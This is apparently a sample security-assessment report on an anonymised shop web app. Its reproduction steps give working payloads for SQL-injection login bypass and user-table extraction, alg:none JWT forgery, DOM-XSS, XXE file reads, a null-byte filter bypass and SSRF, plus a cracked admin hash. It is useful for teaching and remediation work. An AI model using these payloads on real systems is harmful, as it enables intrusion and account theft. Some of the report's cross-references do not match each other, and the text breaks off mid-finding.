AuditProof.

SECURITY ASSESSMENT

Northwind Retail

https://shop.example.com

REPORT REFERENCE
APR-5A3C71E90B24

REVISION
1

DATE OF REPORT
27 July 2026

DEPTH
Intrusive

ENVIRONMENT
Non-production

PREPARED BY
AuditProof

Classification: Sample report — hosts and identifiers anonymised
Tested 27 July 2026 – 27 July 2026. Quote this reference when you come back to us about anything in it.

Report reference APR-5A3C71E90B24

Contents

HOW TO READ THIS REPORT

Short on time: section 6 is the verdict — what held up, and what to fix in order. Everything before it is the evidence for that verdict.

Section 1

Engagement

> What we were asked to test, who we tested as, and the limits we worked within.

Targets	`https://shop.example.com` WEBSITE Angular SPA with a REST API under /rest and /api on an Express backend.
Accounts used	Administrator — resolved to admin (user id 1) Regular customer — resolved to customer (user id 24)
Depth	**Intrusive** — Full exploitation was authorized: confirmed SQL injection with auth-bypass and data extraction, proved IDOR/BOLA and BFLA by pulling cross-account data, exploited file exposures, forged a token, ran sqlmap, and executed XSS in a real browser. One throwaway account was created and disclosed.
Environment	**Non-production** — Staging or test environment.
Never touched	Nothing was excluded beyond the scope above.

Section 2

Testing performed

> The checks we ran and what each returned. Every area appears in every report, including ones that did not apply here.

Recon and fingerprinting, then discovery via the JavaScript bundle and ffuf, then password login as both accounts, then automated scanning (ZAP passive, nuclei, sqlmap), then hands-on exploitation of each confirmed weakness, then offline SCA and secret scanning, then verification of every candidate and construction of two attack chains.

Coverage at a glance

1 HOSTS TESTED	**81** URLS DISCOVERED	**24** ENDPOINTS TESTED	**9** PARAMETERS TESTED
420 REQUESTS SENT	**2** ACCOUNTS AUTHENTICATED	**42** CHECKS RUN	**3** CHECKS PASSED CLEAN
28 RE-TESTED BY HAND	**3** FALSE ALARMS DISCARDED	**69** EVIDENCE ARTIFACTS	

WHAT EACH RESULT MEANS

PASSED	Tested properly. Nothing wrong found.
ISSUES FOUND	Tested. Produced one or more findings.
PARTIAL	Tested, but coverage was incomplete. The detail says what was missed.
NOT APPLICABLE	The target has no such surface.
NOT TESTED	Out of depth, out of scope, or blocked. The detail gives the reason.

Checks performed

CHECK	RESULT	FINDING ID
RECONNAISSANCE AND TECHNOLOGY FINGERPRINTING		3 CHECKS
CHK-RECON-01 **Live host and service discovery** Probed the single in-scope host with httpx and confirmed the service answers. shop.example.com live, HTTP 200, title 'Northwind Retail'. Only one host in scope.	PASSED	–
CHK-RECON-02 **Technology fingerprinting and version disclosure** Fingerprinted the stack and checked for version disclosure. Angular SPA + Express/Node. Version leaked at /rest/admin/application-version -> 20.1.1.	ISSUES FOUND	AP-022

CHECK	RESULT	FINDING ID
CHK-RECON-03 **WAF and CDN detection** Ran wafw00f against the target. No WAF/CDN detected. Full coverage, no evasion.	PASSED	–
TRANSPORT SECURITY (TLS AND CERTIFICATE)		3 CHECKS
CHK-TLS-01 **TLS protocol and cipher configuration** Checked for a TLS listener with openssl s_client. No TLS listener on :3000 (HTTP-only). Cleartext transport captured as AP-016 instead.	NOT APPLICABLE	AP-020
CHK-TLS-02 **Certificate validity and chain** No certificate to validate. HTTP-only service; no peer certificate available.	NOT APPLICABLE	–
CHK-TLS-03 **HTTPS enforcement and redirect handling** Confirmed the app serves over plaintext HTTP with no HTTPS/HSTS. All traffic is cleartext HTTP; no redirect to HTTPS, no HSTS. CWE-319.	ISSUES FOUND	AP-020
DNS AND EMAIL-SPOOFING CONTROLS		2 CHECKS
CHK-DNS-01 **Email spoofing controls (SPF, DKIM, DMARC)** N/A for a loopback host. shop.example.com has no registrable public domain; no SPF/DKIM/DMARC to check.	NOT APPLICABLE	–
CHK-DNS-02 **DNS hygiene (CAA, DNSSEC, zone exposure)** N/A for a loopback host. shop.example.com has no public DNS zone; CAA/DNSSEC not applicable.	NOT APPLICABLE	–
HTTP SECURITY HEADERS		2 CHECKS
CHK-HDR-01 **Security header baseline** Inspected response headers on the root and API responses. Missing HSTS, Referrer-Policy, Permissions-Policy; deprecated Feature-Policy present; X-Recruiting leaks a path.	ISSUES FOUND	AP-014, AP-022
CHK-HDR-02 **Content-Security-Policy strength** Checked for a Content-Security-Policy on all responses. No Content-Security-Policy on any response. No browser-side defence-in-depth against XSS.	ISSUES FOUND	AP-014
COOKIES AND SESSION MANAGEMENT		3 CHECKS
CHK-SESS-01 **Cookie flags (Secure, HttpOnly, SameSite)** Checked how the session is transported. Session is a Bearer JWT in localStorage, not a cookie; Secure/HttpOnly/SameSite do not apply.	NOT APPLICABLE	–

CHECK	RESULT	FINDING ID
CHK-SESS-02 **Session lifecycle (rotation, expiry, logout)** Decoded the JWT lifecycle and checked logout behaviour. JWT has no exp and is stateless; logout clears the client copy only, no server-side revocation.	ISSUES FOUND	AP-013
CHK-SESS-03 **Token storage and lifetime** Decoded both JWTs and inspected lifetime and storage. RS256 JWT with exp=null (never expires); stateless, no server-side revocation.	ISSUES FOUND	AP-013
AUTHENTICATION	3 CHECKS	
CHK-AUTHN-01 **Unauthenticated access enforcement** Compared authenticated vs unauthenticated access on protected endpoints; probed admin-named paths. /rest/wallet/balance 401 unauth / 200 auth (good), but /rest/admin/application-configuration and /metrics serve unauthenticated.	ISSUES FOUND	AP-017, AP-016
CHK-AUTHN-02 **Token validation (expired, tampered, wrong signature)** Forged and replayed tokens; inspected algorithm and lifetime. alg:none forged token accepted (AP-003); tokens never expire (AP-013).	ISSUES FOUND	AP-003, AP-013
CHK-AUTHN-03 **Credential handling and user enumeration** Tested login for user enumeration, rate limiting and hardcoded credentials. No enumeration (valid/invalid user both 401 - PASS), but no rate limiting (AP-023) and a live hardcoded admin credential ships in main.js (AP-004).	ISSUES FOUND	AP-004, AP-023
AUTHORIZATION AND ACCESS CONTROL	3 CHECKS	
CHK-AUTHZ-01 **Cross-tenant object access (BOLA/IDOR)** As customer id24 requested baskets and user objects owned by other ids. GET /rest/basket/1-5 and /api/Users/1,4,6 returned other accounts' data (HTTP 200).	ISSUES FOUND	AP-005
CHK-AUTHZ-02 **Privileged function access from a low-privilege account (BFLA)** As customer id24 called the admin-only GET /api/Users and unauth POST /api/Users. Customer read the full user list (AP-006); unauth POST created an admin via mass assignment (AP-007).	ISSUES FOUND	AP-006, AP-007
CHK-AUTHZ-03 **Property-level exposure in responses** Inspected response objects for over-exposed properties. /api/Users objects expose role and lastLoginIp to a peer user; supports the BOLA/BFLA findings.	ISSUES FOUND	AP-005, AP-006

CHECK	RESULT	FINDING ID
INPUT HANDLING AND INJECTION	4 CHECKS	
CHK-INJ-01 **SQL injection** Manual SQLi on login and search plus sqlmap confirmation. Login auth-bypass (AP-001) and UNION extraction of all users (AP-002); sqlmap confirmed q UNION-injectable, SQLite.	ISSUES FOUND	AP-001, AP-002
CHK-INJ-02 **Cross-site scripting** Executed the reflected search payload in a real browser via Playwright. DOM-XSS via bypassSecurityTrustHtml; alert() fired with a unique marker (AP-008).	ISSUES FOUND	AP-008
CHK-INJ-03 **Command and template injection** Tested XML external entity processing on the file-upload endpoint. XXE local file read of /etc/passwd via /file-upload (AP-009). No command/template injection sink found.	ISSUES FOUND	AP-009
CHK-INJ-04 **Server-side request forgery** Tested the profile-image-URL parameter for server-side fetch. SSRF confirmed out-of-band: server (UA node) fetched the attacker listener (AP-012).	ISSUES FOUND	AP-012
CONTENT AND ENDPOINT DISCOVERY	3 CHECKS	
CHK-DISC-01 **Content and endpoint discovery** Content discovery with ffuf + JS-bundle endpoint extraction. Recovered 20 API bases + 45 SPA routes; ffuf surfaced /ftp, /encryptionkeys, /metrics, app-config.	ISSUES FOUND	AP-016, AP-017, AP-025
CHK-DISC-02 **Exposed source and configuration files** Checked for exposed source/config files. /rest/admin/application-configuration returns full app config unauthenticated; /encryptionkeys exposes jwt.pub + premium.key.	ISSUES FOUND	AP-017, AP-025
CHK-DISC-03 **Backup, archive and temporary files** Enumerated the exposed /ftp directory for backup/archive files. /ftp autoindex exposes .bak manifests, encrypt.pyc, incident-support.kdbx (KeePass).	ISSUES FOUND	AP-010
INFORMATION DISCLOSURE AND ERROR HANDLING	2 CHECKS	
CHK-DISCL-01 **Error handling and exception detail** Triggered SQL errors and inspected the error responses. 500 HTML pages leak Sequelize stack traces and internal /srv/storefront/node_modules paths (AP-021).	ISSUES FOUND	AP-021
CHK-DISCL-02 **Information leakage in responses and headers** Reviewed responses and headers for information leakage. Version 20.1.1 endpoint and X-Recruiting path header leak internals (AP-022); /metrics and app-config over-share (AP-016/017).	ISSUES FOUND	AP-022, AP-016, AP-017

CHECK	RESULT	FINDING ID
SERVER AND PLATFORM CONFIGURATION	4 CHECKS	
CHK-CONF-01 **Cross-origin resource sharing policy** Inspected the CORS policy on app and API responses. Access-Control-Allow-Origin: * (wildcard) on responses.	ISSUES FOUND	AP-015
CHK-CONF-02 **Permitted HTTP methods** Checked permitted HTTP methods on the root. OPTIONS 204; TRACE returns 200 (enabled) but Express does not reflect the request body, so no XST demonstrated. Noted as low.	PARTIAL	–
CHK-CONF-03 **Open redirect handling** Tested /redirect for open-redirect with allowlist bypasses. Allowlisted-substring and userinfo (@) bypass redirect to an attacker host (AP-019).	ISSUES FOUND	AP-019
CHK-CONF-04 **Host header handling** Sent a spoofed Host header to the version endpoint. Host header not reflected into responses; no host-header injection observed.	PASSED	–
CLIENT-SIDE AND THIRD-PARTY CODE	3 CHECKS	
CHK-CLI-01 **Secrets and internal detail in client-side code** gitleaks over target-derived files plus a targeted bundle grep. gitleaks found 0 formatted secrets, but a grep found a live hardcoded admin credential in main.js (AP-004).	ISSUES FOUND	AP-004
CHK-CLI-02 **Third-party library versions in shipped bundles** SCA on the recovered lockfile (osv-scanner + npm audit). 185 npm-audit vulns / 329 osv advisories on the 6.2.0-SNAPSHOT manifest (AP-018). Provenance caveat noted.	ISSUES FOUND	AP-018
CHK-CLI-03 **Script origins and subresource integrity** Reviewed script origins and SRI in the HTML/bundle. Scripts are first-party same-origin (main.js, polyfills.js); no external scripts, so SRI does not apply.	NOT APPLICABLE	–
API SURFACE (OWASP API TOP 10)	3 CHECKS	
CHK-API-01 **API inventory against the specification** Attempted to fetch a machine-readable API spec; derived the surface from the JS bundle. No fetchable OpenAPI/Swagger JSON (Swagger UI HTML only); inventory derived from main.js (20 API bases).	PARTIAL	AP-016, AP-017, AP-022
CHK-API-02 **Spec-driven endpoint testing** Worked the OWASP API Top 10 by hand against the derived surface. BOLA/BFLA/BOPLA/ SSRF/misconfig all confirmed; see the API standards section.	ISSUES FOUND	AP-005, AP-006, AP-007, AP-012

CHECK	RESULT	FINDING ID
CHK-API-03 **GraphQL introspection and query depth** Probed POST /graphql. Returns the Angular SPA shell (9903 bytes, identical to a bogus path); no GraphQL endpoint exists.	NOT APPLICABLE	–
BUSINESS LOGIC AND SENSITIVE FLOWS		2 CHECKS
CHK-BIZ-01 **Sensitive business flow controls** Reviewed sensitive flows (login, registration, redirect). Login bypassable via SQLi (AP-001); registration accepts role via mass assignment (AP-007); redirect abusable (AP-019).	ISSUES FOUND	AP-001, AP-007, AP-019
CHK-BIZ-02 **Workflow sequence bypass** Checked whether privileged steps can be reached out of sequence. Admin creation and admin data reachable without the intended privilege sequence (AP-006/AP-007); no deeper multi-step workflow abuse pursued.	PARTIAL	AP-006, AP-007
RATE LIMITING AND RESOURCE CONSUMPTION		2 CHECKS
CHK-RES-01 **Pagination and result-set caps** Requested collection endpoints without limits. /api/Users returns the whole collection with no server-side page cap (AP-024).	ISSUES FOUND	AP-024
CHK-RES-02 **Rate limiting and throttling behaviour** Sent 10 rapid failed logins. No throttling or 429 on the login endpoint (AP-023). Stopped at 10 attempts; no lockout triggered.	ISSUES FOUND	AP-023

Standards coverage

How this assessment maps onto the published frameworks. Anything not tested says so, with the reason.

OWASP TOP 10 · 2025

CATEGORY	RESULT	NOTE	FINDING ID
A01:2025 **Broken Access Control**	ISSUES FOUND	BOLA, BFLA, mass assignment, SSRF and open redirect all confirmed.	AP-005, AP-006, AP-007, AP-010, AP-012, AP-019
A02:2025 **Security Misconfiguration**	ISSUES FOUND	No CSP, wildcard CORS, /metrics and app-config exposed, version disclosure.	AP-014, AP-015, AP-016, AP-017, AP-022, AP-024, AP-025
A03:2025 **Software Supply Chain Failures**	ISSUES FOUND	185 npm-audit / 329 osv advisories on the recovered manifest (provenance caveat).	AP-018

CATEGORY	RESULT	NOTE	FINDING ID
A04:2025 **Cryptographic Failures**	ISSUES FOUND	Unsalted MD5 password storage; cleartext HTTP transport.	AP-011, AP-020
A05:2025 **Injection**	ISSUES FOUND	SQLi (auth bypass + data extraction), DOM-XSS, XXE.	AP-001, AP-002, AP-008, AP-009
A06:2025 **Insecure Design**	NOT APPLICABLE	Design-level issues surface under the specific findings above rather than as a standalone item.	–
A07:2025 **Authentication Failures**	ISSUES FOUND	alg:none JWT forgery, hardcoded live admin credential, non-expiring tokens, no login rate limit.	AP-003, AP-004, AP-013, AP-023
A08:2025 **Software or Data Integrity Failures**	NOT TESTED	No update/CI/CD or deserialization surface was reachable from outside to test.	–
A09:2025 **Logging and Alerting Failures**	NOT TESTED	Server-side logging/alerting is not observable from an external black-box position.	–
A10:2025 **Mishandling of Exceptional Conditions**	ISSUES FOUND	500 error pages leak Sequelize stack traces and internal paths.	AP-021

OWASP API SECURITY TOP 10 · 2023

CATEGORY	RESULT	NOTE	FINDING ID
API1:2023 **Broken Object Level Authorization**	ISSUES FOUND	Customer read other users' baskets and account objects.	AP-005
API2:2023 **Broken Authentication**	ISSUES FOUND	alg:none forgery accepted; tokens never expire.	AP-003, AP-013
API3:2023 **Broken Object Property Level Authorization**	ISSUES FOUND	Mass assignment set role:admin; responses over-expose properties.	AP-007
API4:2023 **Unrestricted Resource Consumption**	ISSUES FOUND	No login rate limit; no pagination cap.	AP-023, AP-024
API5:2023 **Broken Function Level Authorization**	ISSUES FOUND	Customer role read the admin-only user list.	AP-006
API6:2023 **Unrestricted Access to Sensitive Business Flows**	ISSUES FOUND	Login SQLi bypass and open redirect abuse the sensitive flows.	AP-001, AP-019
API7:2023 **Server Side Request Forgery**	ISSUES FOUND	Profile image URL fetched an attacker host (OOB confirmed).	AP-012

CATEGORY	RESULT	NOTE	FINDING ID
API8:2023 **Security Misconfiguration**	ISSUES FOUND	Wildcard CORS, missing headers, verbose errors, /metrics.	AP-014, AP-015, AP-016, AP-021
API9:2023 **Improper Inventory Management**	ISSUES FOUND	Swagger UI, version endpoint, /metrics and app-config exposed.	AP-016, AP-017, AP-022
API10:2023 **Unsafe Consumption of APIs**	NOT TESTED	Requires internal context on third-party integrations; not externally assessable.	–

What we could not cover

Every assessment has edges. These are ours on this engagement.

Loopback-only target

The environment is reachable only from an allow-listed range, so exposure findings are rated for that context.

Network-level findings (cleartext HTTP, AP-020) are rated for this context; on a routed public deployment the same transport gap would be High.

Dependency audit ran on a stale manifest

LEAD-2

Only a 6.2.0-SNAPSHOT package-lock.json.bak was recoverable, not the running build's lockfile.

The 185/329 advisory counts (AP-018) are indicative of the codebase, not a confirmed bill of materials for v20.1.1.

Test data created and not removable

The mass-assignment proof (AP-007) created one admin account (id 27); DELETE /api/Users/27 returned 401, so the application refuses user deletion.

The account is inert and was reported to the customer for removal. No other data was created or modified.

KeePass vault not cracked

LEAD-1

An offline master-password crack of the recovered incident-support.kdbx was not attempted.

CHAIN-2 is potential, not verified; the credentials inside the vault are unconfirmed.

Server-side logging and integrity not observable

Black-box external testing cannot see server logs, the build pipeline, or deserialization internals.

OWASP A08 and A09 (2025) are marked not_tested rather than passed.

Section 3

Findings

> Issues we confirmed, each re-tested by hand and backed by the saved request and response. Anything we could not reproduce is under Leads, not here.

ID	SEVERITY	FINDING	PAGE
AP-023	LOW	No rate limiting on the login endpoint	27
AP-024	LOW	No server-side cap on collection endpoints	27
AP-025	LOW	Cryptographic key directory exposed at /encryptionkeys	28

HOW SEVERITY IS DECIDED

Our judgement of real impact against how easily the issue is reached — not a tool's rating. Each finding says why it got the rating it did.

CRITICAL	Direct, serious compromise. Fix now.
HIGH	Significant exposure with a realistic path to it. Fix this week.
MEDIUM	Real weakness, but limited or needing another condition. Schedule it.
LOW	Hardening gap. Worth doing, not urgent.
INFORMATIONAL	No direct risk. Recorded for completeness.

AP-001

SQL injection in the login form allows authentication bypass

CRITICAL CONFIRMED FIX EFFORT: LOW

Category	A05:2025 Injection · API2:2023 Broken Authentication (CWE-89)
Affected	`https://shop.example.com/rest/user/login`

The email field in POST /rest/user/login is concatenated into a SQL query. Sending ' OR 1=1-- as the email logs in as the first user (the administrator) with any password.

REPRODUCTION

1. POST /rest/user/login body {"email":"' OR 1=1--","password":"anything"}
2. Server returns HTTP 200 with a valid admin JWT (id 1, role admin).
3. Quote-parity confirms injection: email=test' -> 500 (SQL error), email=test'' -> 401 (valid SQL, bad creds).

EVIDENCE

Identity returned by the ' OR 1=1-- login (no password used)

```
REQUEST: POST /rest/user/login  body={"email":"' OR 1=1--","password":"anything"}
RESPONSE status 200, identity:
{ "id": 1, "email": "admin@shop.example.com", "role": "admin" }
```

Shortened. The full capture is retained with the assessment record.

IMPACT	Full administrator access with no credentials. An attacker owns every account and all admin functions.
WHY CRITICAL	Unauthenticated single-request path to full admin, so Critical rather than High.

REMEDIATION · LOW EFFORT

Use parameterised queries / the ORM's bound parameters for the login lookup. Never build the SQL string from req.body.email.

AP-002

SQL injection in product search extracts the full user table

CRITICAL CONFIRMED FIX EFFORT: LOW

Category	A05:2025 Injection (CWE-89)
Affected	`https://shop.example.com/rest/products/search?q=`

The q parameter of /rest/products/search is injectable. A UNION SELECT against the Users table returns every user's email, password hash and role inside the product results.

REPRODUCTION

1. GET /rest/products/search?q=<x>')) UNION SELECT id,email,password,role,deluxeToken,'6','7','8','9' FROM Users--
2. Response is HTTP 200 with 26 user rows in data[].
3. sqlmap corroborates: parameter q UNION-injectable (9 columns), back-end DBMS SQLite.

EVIDENCE

First extracted row (id, email, MD5 hash, role) from the UNION dump

```
1       admin@shop.example.com  0192023a7bbd73250516f069df18b500        admin
```

Shortened. The full capture is retained with the assessment record.

IMPACT — Complete disclosure of all 26 accounts with password hashes. Combined with the unsalted MD5 storage (AP-011), every password is recoverable offline.

WHY CRITICAL — Unauthenticated full-database read of credentials, so Critical.

REMEDIATION · LOW EFFORT

Parameterise the search query. Do not interpolate q into SQL; bind it.

AP-003

JWT accepted with alg:none, allowing token forgery

CRITICAL CONFIRMED FIX EFFORT: LOW

Category	A07:2025 Authentication Failures · API2:2023 Broken Authentication (CWE-347)
Affected	`https://shop.example.com/rest/user/whoami` `https://shop.example.com/rest/order-history`

The API accepts a JWT with header alg:none and an empty signature. A hand-crafted token naming any identity and role is treated as authenticated.

REPRODUCTION

1. Build token: header {"alg":"none","typ":"JWT"}, payload data={id:1,email:jwtn3d@shop.example.com,role:admin}, empty signature.
2. GET /rest/user/whoami with Cookie: token=<forged> -> HTTP 200, body echoes the forged admin identity.
3. GET /rest/order-history with the same token -> HTTP 200.

EVIDENCE

whoami response to the unsigned forged token

```
{"user":{"id":1,"email":"jwtn3d@shop.example.com"}} [200]
```

IMPACT — Authentication bypass with no key material. An attacker mints admin tokens at will; the RS256 private key is never needed.

WHY CRITICAL — No-secret forgery of arbitrary identities, so Critical.

REMEDIATION · LOW EFFORT

Reject alg:none. Pin verification to RS256 and require a valid signature from the known public key.

AP-004

Live administrator credential hardcoded in the client JavaScript bundle

HIGH | CONFIRMED | FIX EFFORT: LOW

Category	A07:2025 Authentication Failures (CWE-798)
Affected	`https://shop.example.com/main.js` `https://shop.example.com/rest/user/login`

main.js ships testingPassword="[REDACTED]" and the account testing@shop.example.com. These credentials log in successfully and the account has the admin role.

REPRODUCTION

1. grep main.js -> testingPassword="[REDACTED]" and testing@shop.example.com.
2. POST /rest/user/login {testing@shop.example.com / [REDACTED]} -> HTTP 200, id 22, role admin.

EVIDENCE

Login result for the credential read out of the public bundle

```
login status=200
{"id":22,"email":"testing@shop.example.com","role":"admin"}
```

IMPACT — Anyone who reads the public JavaScript gets a working admin login. gitleaks missed it (bespoke, unformatted) — a targeted grep found it.

WHY HIGH — Publicly readable working admin login, but it is a static known account rather than a full injection, so High not Critical.

REMEDIATION · LOW EFFORT

Remove the test credential from shipped code. Delete or disable the testing@shop.example.com account and rotate it out of the build.

AP-005

Broken object-level authorization: any user reads other users' baskets and accounts

HIGH CONFIRMED FIX EFFORT: MEDIUM

Category	A01:2025 Broken Access Control · API1:2023 Broken Object Level Authorization (CWE-639)
Affected	`https://shop.example.com/rest/basket/{id}` `https://shop.example.com/api/Users/{id}`

A logged-in customer (id 24) can GET /rest/basket/{id} and /api/Users/{id} for ids it does not own. The server returns other users' basket contents and account objects.

REPRODUCTION

1. As customer id 24: GET /rest/basket/1..5 -> HTTP 200, baskets owned by UserId 1,2,3,11,16.
2. GET /api/Users/1,4,6 -> HTTP 200, other users' account objects incl. admin role.

EVIDENCE

Cross-account basket reads as customer id 24

```
GET /rest/basket/1 -> HTTP 200  (UserId=1, 3 products)
GET /rest/basket/2 -> HTTP 200  (UserId=2, 1 products)
GET /rest/basket/5 -> HTTP 200  (UserId=16, 2 products)
```

Shortened. The full capture is retained with the assessment record.

IMPACT	Horizontal data exposure across all accounts: order contents and account metadata of any user.
WHY HIGH	Confirmed cross-account read of many objects, but read-only PII rather than full account takeover, so High.

REMEDIATION · MEDIUM EFFORT

Enforce ownership on every object fetch: check the basket/user id belongs to the authenticated user before returning it.

AP-006

Broken function-level authorization: customer role reads the full user list

HIGH CONFIRMED FIX EFFORT: LOW

Category	A01:2025 Broken Access Control · API5:2023 Broken Function Level Authorization (CWE-285)
Affected	`https://shop.example.com/api/Users`

GET /api/Users is an administrative function but has no role check. A customer-role session receives all 25 users with email and role.

REPRODUCTION

1. As customer id 24: GET /api/Users -> HTTP 200, 25 users returned (id, email, role).

EVIDENCE

Admin-only listing returned to a customer session

```
status=200
users returned: 25
  id=1 admin@shop.example.com role=admin
  id=5 ciso@shop.example.com role=deluxe
```

Shortened. The full capture is retained with the assessment record.

IMPACT — A low-privilege user enumerates every account and role — a target list for the credential and access-control weaknesses above.

WHY HIGH — Privileged function reachable by any user, disclosing all accounts, so High.

REMEDIATION · LOW EFFORT

Gate /api/Users behind an admin role check on the server.

AP-007

Mass assignment lets an unauthenticated request create an admin account

HIGH | CONFIRMED | FIX EFFORT: LOW

Category	A01:2025 Broken Access Control · API3:2023 Broken Object Property Level Authorization (CWE-915)
Affected	`https://shop.example.com/api/Users`

POST /api/Users accepts a role field from the request body without authorization. Sending role:admin creates an administrator account with no authentication.

REPRODUCTION

1. POST /api/Users {email,password,"role":"admin"} unauthenticated -> HTTP 201, account created with role admin (id 27).

EVIDENCE

Admin account created via the role field

```
status=201
{"id":27,"email":"ap004massassign@auditproof.local","role":"admin"}
```

IMPACT — Self-service admin creation with no credentials — a fourth independent path to full compromise.

WHY HIGH — Unauthenticated privilege escalation, but it creates a new object rather than seizing an existing one, so High.

REMEDIATION · LOW EFFORT

Whitelist assignable fields on registration; never accept role from the body. Default new users to customer server-side.

AP-008

DOM-based XSS in product search executes in the browser

HIGH CONFIRMED FIX EFFORT: MEDIUM

Category	A05:2025 Injection (CWE-79)
Affected	`https://shop.example.com/#/search?q=`

The search route renders the q parameter through Angular's bypassSecurityTrustHtml. An iframe with a javascript: URL executes script in the victim's session.

REPRODUCTION

1. Load /#/search?q=<iframe src="javascript:alert(`xss-ap004-9137`)"> in a real browser.
2. The alert dialog fires with the unique marker; the javascript: iframe is present in the live DOM (verified with headless Chromium via Playwright).

EVIDENCE

Playwright console output — dialog fired with the injected marker

```
DIALOG FIRED: alert => xss-ap004-9137
injected javascript: iframe count = 1
alert-executed = true (marker: xss-ap004-9137 )
```

IMPACT — Script execution in a victim's session: session-token theft from localStorage, actions as the victim, credential phishing. No CSP exists to blunt it (AP-014).

WHY HIGH — Confirmed execution, but reflected/delivery-dependent rather than stored, so High.

REMEDIATION · MEDIUM EFFORT

Do not pass user input through bypassSecurityTrustHtml. Let Angular escape it, and add a strict CSP.

AP-009

XXE in file upload reads local server files

HIGH CONFIRMED FIX EFFORT: LOW

Category	A05:2025 Injection (CWE-611)
Affected	`https://shop.example.com/file-upload`

POST /file-upload parses uploaded XML with external entities enabled. The endpoint returns 410 'deprecated', but the error body echoes the resolved entity — /etc/passwd contents.

REPRODUCTION

1. POST /file-upload an XML doc with <!ENTITY xxe SYSTEM "file:///etc/passwd"> and <root>&xxe;</root>.
2. Response is HTTP 410, and the error message contains the resolved /etc/passwd lines.

EVIDENCE

Server file content echoed back through the XXE error

```
root:x:0:0:root:/root:/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/sbin/nologin
```

Shortened. The full capture is retained with the assessment record.

IMPACT — Arbitrary local file read (config, secrets, source). The parser also enables SSRF and DoS via external entities.

WHY HIGH — Confirmed local file read, but bounded to file paths rather than RCE, so High.

REMEDIATION · LOW EFFORT

Disable external entity and DTD processing in the XML parser (libxml noent=false, nonet).

AP-010

Sensitive files exposed at /ftp; extension filter bypassed with a null byte

HIGH | CONFIRMED | FIX EFFORT: MEDIUM

Category	A01:2025 Broken Access Control (CWE-552)
Affected	`https://shop.example.com/ftp/`

/ftp is a directory listing exposing a KeePass database, encrypted announcements, coupon files and .bak manifests. Blocked extensions (.bak, .pyc) return 403 but are retrievable by appending %2500.md (poison null byte).

REPRODUCTION

1. GET /ftp -> autoindex; incident-support.kdbx downloads directly (KeePass2 magic 03d9a29a).
2. GET /ftp/package.json.bak -> 403; GET /ftp/package.json.bak%2500.md -> 200 (4263 bytes).
3. Same bypass recovers coupons_2013.md.bak and package-lock.json.bak.

EVIDENCE

Filter bypass and the recovered KeePass DB

```
direct package.json.bak: 403
null-byte bypass %2500.md: 200 size=4263
incident-support.kdbx: 200 size=3246
kdbx magic: 03d9 a29a  (KeePass2)
```

IMPACT — Leaks a password vault and build manifests. The manifests drove the dependency analysis (AP-018); the .kdbx is a credential store (potential chain CHAIN-2).

WHY HIGH — Direct retrieval of a credential store and source manifests, so High.

REMEDIATION · MEDIUM EFFORT

Remove /ftp from the web root. If files must be served, do it through an allowlist by exact name and strip null bytes before the extension check.

AP-011

Passwords stored as unsalted MD5

HIGH CONFIRMED FIX EFFORT: MEDIUM

Category	A04:2025 Cryptographic Failures (CWE-916)
Affected	`https://shop.example.com/rest/products/search?q=`

User password hashes recovered via AP-002 are unsalted MD5. The admin hash cracks instantly to admin123.

REPRODUCTION

1. From the UNION dump, admin hash = 0192023a7bbd73250516f069df18b500.
2. md5('admin123') == that hash -> unsalted MD5, password recovered offline.

EVIDENCE

Admin hash equals MD5 of the plaintext

```
admin hash: 0192023a7bbd73250516f069df18b500
md5(admin123) = 0192023a7bbd73250516f069df18b500
MATCH -> unsalted MD5
```

IMPACT — Every disclosed hash is trivially crackable. Turns the read in AP-002 into full plaintext-credential recovery.

WHY HIGH — Weak hashing that directly converts a hash dump into plaintext, so High.

REMEDIATION · MEDIUM EFFORT

Hash passwords with bcrypt/scrypt/Argon2 and a per-user salt. Force a reset of all existing passwords.

AP-012

Server-side request forgery via profile image URL

MEDIUM CONFIRMED FIX EFFORT: MEDIUM

Category	A01:2025 Broken Access Control · API7:2023 Server Side Request Forgery (CWE-918)
Affected	`https://shop.example.com/profile/image/url`

POST /profile/image/url fetches the supplied imageUrl server-side with no allowlist. It requested an attacker-controlled host on demand.

REPRODUCTION

1. POST /profile/image/url imageUrl=http://host.docker.internal:9999/ssrf-hdi (cookie auth) -> HTTP 302.
2. A listener on that host received: CALLBACK GET /ssrf-hdi UA: node — the fetch came from the server.

EVIDENCE

Out-of-band callback proving the server made the request

```
CALLBACK GET /ssrf-hdi UA: node
```

IMPACT — The server can be made to reach internal services and cloud metadata endpoints not exposed externally.

WHY MEDIUM — Confirmed server-side fetch of an arbitrary host, but no internal service was reached to escalate, so Medium.

REMEDIATION · MEDIUM EFFORT

Allowlist outbound image hosts, block private/link-local ranges, and disable redirects on the fetch.

AP-013

JWT never expires and cannot be revoked

MEDIUM FIRM FIX EFFORT: MEDIUM

Category	A07:2025 Authentication Failures · API2:2023 Broken Authentication (CWE-613)
Affected	`https://shop.example.com/rest/user/login`

Issued JWTs carry iat but no exp. The token is stateless with no server-side revocation, so a captured token is valid indefinitely.

REPRODUCTION

1. Decode the login JWT: payload has iat set and exp:null. Logout clears the client copy only.

EVIDENCE

Decoded token lifetime


```
"data": { "id": 1, "email": "admin@shop.example.com", "role": "admin" }, "iat": 1785164775, "exp": null
```


Shortened. The full capture is retained with the assessment record.

IMPACT — A stolen token (e.g. via AP-008 XSS) works forever and cannot be killed short of rotating the signing key.

WHY MEDIUM — No single-request exploit, but it magnifies token theft, so Medium.

REMEDIATION · MEDIUM EFFORT

Set a short exp (15-60 min) with refresh, and add a revocation/blacklist path for logout and compromise.

AP-014

No Content-Security-Policy and missing security headers

MEDIUM FIRM FIX EFFORT: MEDIUM

Category	A02:2025 Security Misconfiguration · API8:2023 Security Misconfiguration (CWE-693)
Affected	`https://shop.example.com/`

Responses carry no Content-Security-Policy, no HSTS, no Referrer-Policy, no Permissions-Policy, and no COEP/COOP. A deprecated Feature-Policy header is present.

REPRODUCTION

1. curl -sD - -o /dev/null https://shop.example.com/ — none of CSP/HSTS/Referrer-Policy/Permissions-Policy are set. Corroborated by ZAP passive and nuclei.

EVIDENCE

Response headers on the root (no CSP present)

```
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Feature-Policy: payment 'self'
X-Recruiting: /#/jobs
```

Shortened. The full capture is retained with the assessment record.

IMPACT — No browser-side defence-in-depth. With the confirmed DOM-XSS (AP-008) there is nothing to limit script execution.

WHY MEDIUM — Not directly exploitable alone, but it removes the mitigation for the XSS, so Medium.

REMEDIATION · MEDIUM EFFORT

